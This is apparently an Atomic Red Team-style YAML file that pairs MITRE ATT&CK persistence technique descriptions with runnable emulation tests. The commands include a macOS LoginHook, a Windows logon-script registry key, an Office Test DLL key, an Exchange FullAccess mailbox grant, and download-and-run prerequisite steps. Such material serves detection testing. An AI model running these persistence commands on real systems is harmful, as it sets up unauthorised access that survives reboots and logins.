object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1547.013: technique: modified: '2023-10-16T16:35:12.501Z' name: XDG Autostart Entries description: |- Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user’s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user’s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys) Adversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user’s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory. Adversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Tony Lambert, Red Canary x_mitre_deprecated: false x_mitre_detection: "Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\n \nSuspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux x_mitre_version: '1.1' x_mitre_data_sources: - 'File: File Creation' - 'Command: Command Execution' - 'Process: Process Creation' - 'File: File Modification' x_mitre_permissions_required: - User - root type: attack-pattern id: attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11 created: '2019-09-10T18:13:12.195Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/013 external_id: T1547.013 - source_name: Free Desktop Application Autostart Feb 2006 description: Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019. url: https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html - source_name: Free Desktop Entry Keys description: Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved September 12, 2019. url: https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html - source_name: Red Canary Netwire Linux 2022 description: TONY LAMBERT. (2022, June 7). Trapping the Netwire RAT on Linux. Retrieved September 28, 2023. url: https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1547.007: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e created: '2020-01-24T18:15:06.641Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1547.007 url: https://attack.mitre.org/techniques/T1547/007 - source_name: Re-Open windows on Mac url: https://support.apple.com/en-us/HT204005 description: Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017. - source_name: Methods of Mac Malware Persistence url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. - source_name: Wardle Persistence Chapter url: https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf description: 'Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.' x_mitre_deprecated: false revoked: false description: |- Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon. Adversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in. modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Boot or Logon Autostart Execution: Re-opened Applications' x_mitre_detection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Modification' x_mitre_permissions_required: - User x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.007 atomic_tests: - name: Copy in loginwindow.plist for Re-Opened Applications auto_generated_guid: 5fefd767-ef54-4ac6-84d3-751ab85e8aba description: 'Copy in new loginwindow.plist to launch Calculator. ' supported_platforms: - macos input_arguments: calc_plist_path: description: path to binary plist with entry to open calculator type: path default: PathToAtomicsFolder/T1547.007/src/reopen_loginwindow_calc.plist executor: command: 'cp #{calc_plist_path} ~/Library/Preferences/ByHost/com.apple.loginwindow.plist ' cleanup_command: 'rm -f ~/Library/Preferences/ByHost/com.apple.loginwindow.plist ' name: sh - name: Re-Opened Applications using LoginHook auto_generated_guid: 5f5b71da-e03f-42e7-ac98-d63f9e0465cb description: | Mac Defaults [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html) supported_platforms: - macos input_arguments: script: description: path to script type: path default: "/path/to/script" executor: command: 'sudo defaults write com.apple.loginwindow LoginHook #{script} ' cleanup_command: 'sudo defaults delete com.apple.loginwindow LoginHook ' elevation_required: true name: sh - name: Append to existing loginwindow for Re-Opened Applications auto_generated_guid: 766b6c3c-9353-4033-8b7e-38b309fa3a93 description: | Appends an entry to launch Calculator hidden loginwindow.*.plist for next login. Note that the change may not result in the added Calculator program launching on next user login. It may depend on which version of macOS you are running on. supported_platforms: - macos input_arguments: objc_source_path: description: path to objective C program type: path default: PathToAtomicsFolder/T1547.007/src/append_reopen_loginwindow.m exe_path: description: path to compiled program type: path default: "/tmp/t1547007_append_exe" dependency_executor_name: bash dependencies: - description: 'compile C program ' prereq_command: 'if [ -f "#{exe_path}" ]; then exit 0 ; else exit 1; fi ' get_prereq_command: 'cc #{objc_source_path} -o #{exe_path} -framework Cocoa ' executor: command: | FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1` if [ -z "${FILE}" ] ; then echo "No loginwindow plist file found" && exit 1 ; fi echo save backup copy to /tmp/ cp ${FILE} /tmp/t1547007_loginwindow-backup.plist echo before plutil -p ${FILE} echo overwriting... #{exe_path} ${FILE} && echo after && plutil -p ${FILE} cleanup_command: | rm -f #{exe_path} # revert to backup copy FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1` if [ -z "${FILE}" ] ; then exit 0 fi mv /tmp/t1547007_loginwindow-backup.plist ${FILE} name: sh T1574.002: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Hijack Execution Flow: DLL Side-Loading' description: |- Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s). Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_attack_spec_version: 2.1.0 x_mitre_deprecated: false x_mitre_detection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '2.0' x_mitre_data_sources: - 'File: File Modification' - 'Process: Process Creation' - 'Module: Module Load' - 'File: File Creation' x_mitre_defense_bypassed: - Anti-virus - Application Control type: attack-pattern id: attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b created: '2020-03-13T19:41:37.908Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/002 external_id: T1574.002 - source_name: FireEye DLL Side-Loading description: 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020.' url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1574.002 atomic_tests: - name: DLL Side-Loading using the Notepad++ GUP.exe binary auto_generated_guid: 65526037-7079-44a9-bda1-2cb624838040 description: | GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded. Upon execution, calc.exe will be opened. supported_platforms: - windows input_arguments: process_name: description: Name of the created process type: string default: calculator.exe gup_executable: description: GUP is an open source signed binary used by Notepad++ for software updates type: path default: PathToAtomicsFolder\T1574.002\bin\GUP.exe dependency_executor_name: powershell dependencies: - description: 'Gup.exe binary must exist on disk at specified location (#{gup_executable}) ' prereq_command: 'if (Test-Path "#{gup_executable}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{gup_executable}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true" -OutFile "#{gup_executable}" executor: command: '"#{gup_executable}" ' cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1 ' name: command_prompt - name: DLL Side-Loading using the dotnet startup hook environment variable auto_generated_guid: d322cdd7-7d60-46e3-9111-648848da7c02 description: 'Utilizing the dotnet_startup_hooks environment variable, this method allows for registering a global method in an assembly that will be executed whenever a .net core application is started. This unlocks a whole range of scenarios, from injecting a profiler to tweaking a static context in a given environment. [blog post](https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1) ' supported_platforms: - windows input_arguments: process_name: description: Name of the created process type: string default: calculator.exe preloader_dll: description: library for interfacing with the dotnet framework type: path default: PathToAtomicsFolder\T1574.002\bin\preloader.dll dependency_executor_name: powershell dependencies: - description: ".Net SDK must be installed\n" prereq_command: 'if (Test-Path "C:\Program Files\dotnet\dotnet.exe") {exit 0} else {exit 1} ' get_prereq_command: | winget install Microsoft.DotNet.SDK.6 --accept-source-agreements --accept-package-agreements -h > $null echo. - description: 'preloader must exist ' prereq_command: 'if (Test-Path "#{preloader_dll}") {exit 0} else {exit 1} ' get_prereq_command: 'Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/preloader?raw=true" -OutFile "#{preloader_dll}" ' executor: command: | set DOTNET_STARTUP_HOOKS="#{preloader_dll}" dotnet -h > nul echo. cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1 ' name: command_prompt T1098.002: technique: modified: '2024-01-03T15:46:06.706Z' name: 'Account Manipulation: Additional Email Delegate Permissions' description: "Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Mandiant Defend UNC2452 White Paper)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Microsoft Detection and Response Team (DART) - Mike Burns, Mandiant - Naveen Vijayaraghavan, Nilesh Dherange (Gurucul) - Jannie Li, Microsoft Threat Intelligence Center (MSTIC) - Arad Inbar, Fidelis Security x_mitre_deprecated: false x_mitre_detection: "Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\n\nEnable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \n\nA larger than normal volume of emails sent from an account and similar phishing emails sent from  real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Office 365 - Google Workspace x_mitre_version: '2.1' x_mitre_data_sources: - 'Group: Group Modification' - 'Application Log: Application Log Content' - 'User Account: User Account Modification' type: attack-pattern id: attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306 created: '2020-01-19T16:54:28.516Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1098/002 external_id: T1098.002 - source_name: Bienstock, D. - Defending O365 - 2019 description: 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.' url: https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365 - source_name: Crowdstrike Hiding in Plain Sight 2018 description: 'Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.' url: https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/ - source_name: Google Ensuring Your Information is Safe description: Google. (2011, June 1). Ensuring your information is safe online. Retrieved April 1, 2022. url: https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html - source_name: Gmail Delegation description: Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022. url: https://support.google.com/a/answer/7223765?hl=en - source_name: FireEye APT35 2018 description: Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018. url: https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf - source_name: Mandiant Defend UNC2452 White Paper description: Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021. url: https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452 - source_name: Microsoft - Add-MailboxPermission description: Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019. url: https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1098.002 atomic_tests: - name: EXO - Full access mailbox permission granted to a user auto_generated_guid: 17d046be-fdd0-4cbb-b5c7-55c85d9d0714 description: | Give a nominated user, full mailbox delegation access of another user. This can be used by an adversary to maintain persistent access to a target's mailbox in M365. supported_platforms: - office-365 input_arguments: username: description: office-365 username type: string default: o365_user_test@contoso.com password: description: office-365 password type: string default: o365_password_test delegate_target: description: office-365 target_email type: string default: delegate@contoso.com operator_mailbox: description: office-365 target_email type: string default: operator@contoso.com dependency_executor_name: powershell dependencies: - description: 'ExchangeOnlineManagement PowerShell module must be installed ' prereq_command: | $RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0} get_prereq_command: "Install-Module -Name ExchangeOnlineManagement \n" executor: command: | Import-Module ExchangeOnlineManagement $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds Add-MailboxPermission -Identity "#{delegate_target}" -User "#{operator_mailbox}" -AccessRights FullAccess -InheritanceType All Disconnect-ExchangeOnline -Confirm:$false cleanup_command: | Import-Module ExchangeOnlineManagement $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds Remove-MailboxPermission -Identity "#{delegate_target}" -User "#{operator_mailbox}" -AccessRights FullAccess -InheritanceType All -Confirm:$false Disconnect-ExchangeOnline -Confirm:$false name: powershell elevation_required: false T1653: technique: modified: '2023-09-30T21:28:45.038Z' name: Power Settings description: |- Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate) Adversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux) For example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users) Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER: The Evasive Downloader Malware) Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign) Aware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Goldstein Menachem - Juan Tapiador x_mitre_deprecated: false x_mitre_detection: "Command-line invocation of tools capable of modifying services may be unusual and can be monitored for and alerted on, depending on how systems are typically used in a particular environment. \n" x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Linux - macOS - Network x_mitre_version: '1.0' x_mitre_data_sources: - 'File: File Modification' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--ea071aa0-8f17-416f-ab0d-2bab7e79003d created: '2023-06-05T15:52:52.467Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1653 external_id: T1653 - source_name: Sleep, shut down, hibernate description: AVG. (n.d.). Should You Shut Down, Sleep or Hibernate Your PC or Mac Laptop?. Retrieved June 8, 2023. url: https://www.avg.com/en/signal/should-you-shut-down-sleep-or-hibernate-your-pc-or-mac-laptop - source_name: 'CoinLoader: A Sophisticated Malware Loader Campaign' description: 'Avira. (2019, November 28). CoinLoader: A Sophisticated Malware Loader Campaign. Retrieved June 5, 2023.' url: https://www.avira.com/en/blog/coinloader-a-sophisticated-malware-loader-campaign - source_name: 'BATLOADER: The Evasive Downloader Malware' description: 'Bethany Hardin, Lavine Oluoch, Tatiana Vollbrecht. (2022, November 14). BATLOADER: The Evasive Downloader Malware. Retrieved June 5, 2023.' url: https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html - source_name: Two New Monero Malware Attacks Target Windows and Android Users description: Douglas Bonderud. (2018, September 17). Two New Monero Malware Attacks Target Windows and Android Users. Retrieved June 5, 2023. url: https://securityintelligence.com/news/two-new-monero-malware-attacks-target-windows-and-android-users/ - source_name: Condi-Botnet-binaries description: Joie Salvio and Roy Tay. (2023, June 20). Condi DDoS Botnet Spreads via TP-Link's CVE-2023-1389. Retrieved September 5, 2023. url: https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389 - source_name: systemdsleep Linux description: Man7. (n.d.). systemd-sleep.conf(5) — Linux manual page. Retrieved June 7, 2023. url: https://man7.org/linux/man-pages/man5/systemd-sleep.conf.5.html - source_name: 'Microsoft: Powercfg command-line options' description: Microsoft. (2021, December 15). Powercfg command-line options. Retrieved June 5, 2023. url: https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options?adlt=strict object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1037.001: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3 type: attack-pattern created: '2020-01-10T03:43:37.211Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1037.001 url: https://attack.mitre.org/techniques/T1037/001 - url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016. source_name: TechNet Logon Scripts - source_name: Hexacorn Logon Scripts url: http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/ description: Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part 18. Retrieved November 15, 2019. modified: '2021-04-29T14:49:39.188Z' name: 'Boot or Logon Initialization Scripts: Logon Script (Windows)' description: "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: |- Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\Environment\UserInitMprLogonScript. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Creation' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1037.001 atomic_tests: - name: Logon Scripts auto_generated_guid: d6042746-07d4-4c92-9ad8-e644c114a231 description: | Adds a registry value to run batch script created in the %temp% directory. Upon execution, there will be a new environment variable in the HKCU\Environment key that can be viewed in the Registry Editor. supported_platforms: - windows input_arguments: script_path: description: Path to .bat file type: string default: "%temp%\\art.bat" script_command: description: Command To Execute type: string default: echo Art "Logon Script" atomic test was successful. >> %USERPROFILE%\desktop\T1037.001-log.txt executor: command: | echo "#{script_command}" > #{script_path} REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "#{script_path}" /f cleanup_command: | REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript /f >nul 2>&1 del #{script_path} >nul 2>&1 del "%USERPROFILE%\desktop\T1037.001-log.txt" >nul 2>&1 name: command_prompt T1137.002: technique: modified: '2024-04-16T12:41:55.175Z' name: 'Office Application Startup: Office Test' description: |- Adversaries may abuse the Microsoft Office "Office Test" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy) There exist user and global Registry keys for the Office Test feature, such as: * HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf * HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_deprecated: false x_mitre_detection: |- Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy) Consider monitoring Office processes for anomalous DLL loads. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Office 365 x_mitre_version: '1.2' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Creation' - 'Command: Command Execution' - 'File: File Modification' - 'Windows Registry: Windows Registry Key Modification' - 'File: File Creation' - 'Process: Process Creation' - 'Module: Module Load' type: attack-pattern id: attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a created: '2019-11-07T19:44:04.475Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1137/002 external_id: T1137.002 - source_name: Palo Alto Office Test Sofacy description: 'Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.' url: https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/ - source_name: Hexacorn Office Test description: Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10. Retrieved July 3, 2017. url: http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1137.002 atomic_tests: - name: Office Application Startup Test Persistence (HKCU) auto_generated_guid: c3e35b58-fe1c-480b-b540-7600fb612563 description: | Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. Key is used for debugging purposes. Not created by default & exist in HKCU & HKLM hives. supported_platforms: - windows dependencies: - description: 'Microsoft Word must be installed ' prereq_command: | try { New-Object -COMObject "Word.Application" | Out-Null Stop-Process -Name "winword" exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually to meet this requirement" ' - description: DLL files must exist on disk at specified location prereq_command: 'if ((Test-Path "PathToAtomicsFolder\T1137.002\bin\officetest_x64.dll") -and (Test-Path "PathToAtomicsFolder\T1137.002\bin\officetest_x86.dll")) {exit 0} else {exit 1} ' get_prereq_command: |- New-Item -Type Directory "PathToAtomicsFolder\T1137.002\bin\" -Force | Out-Null Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.002/bin/officetest_x64.dll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.002\bin\officetest_x64.dll" Invoke-Webrequest -Uri "htps://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.002/bin/officetest_x86.dll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.002\bin\officetest_x86.dll" executor: name: powershell command: "$wdApp = New-Object -COMObject \"Word.Application\"\nif(-not $wdApp.path.contains(\"Program Files (x86)\")) \n{\n Write-Host \"64-bit Office\"\n reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\" /t REG_SZ /d \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x64.dll\" /f 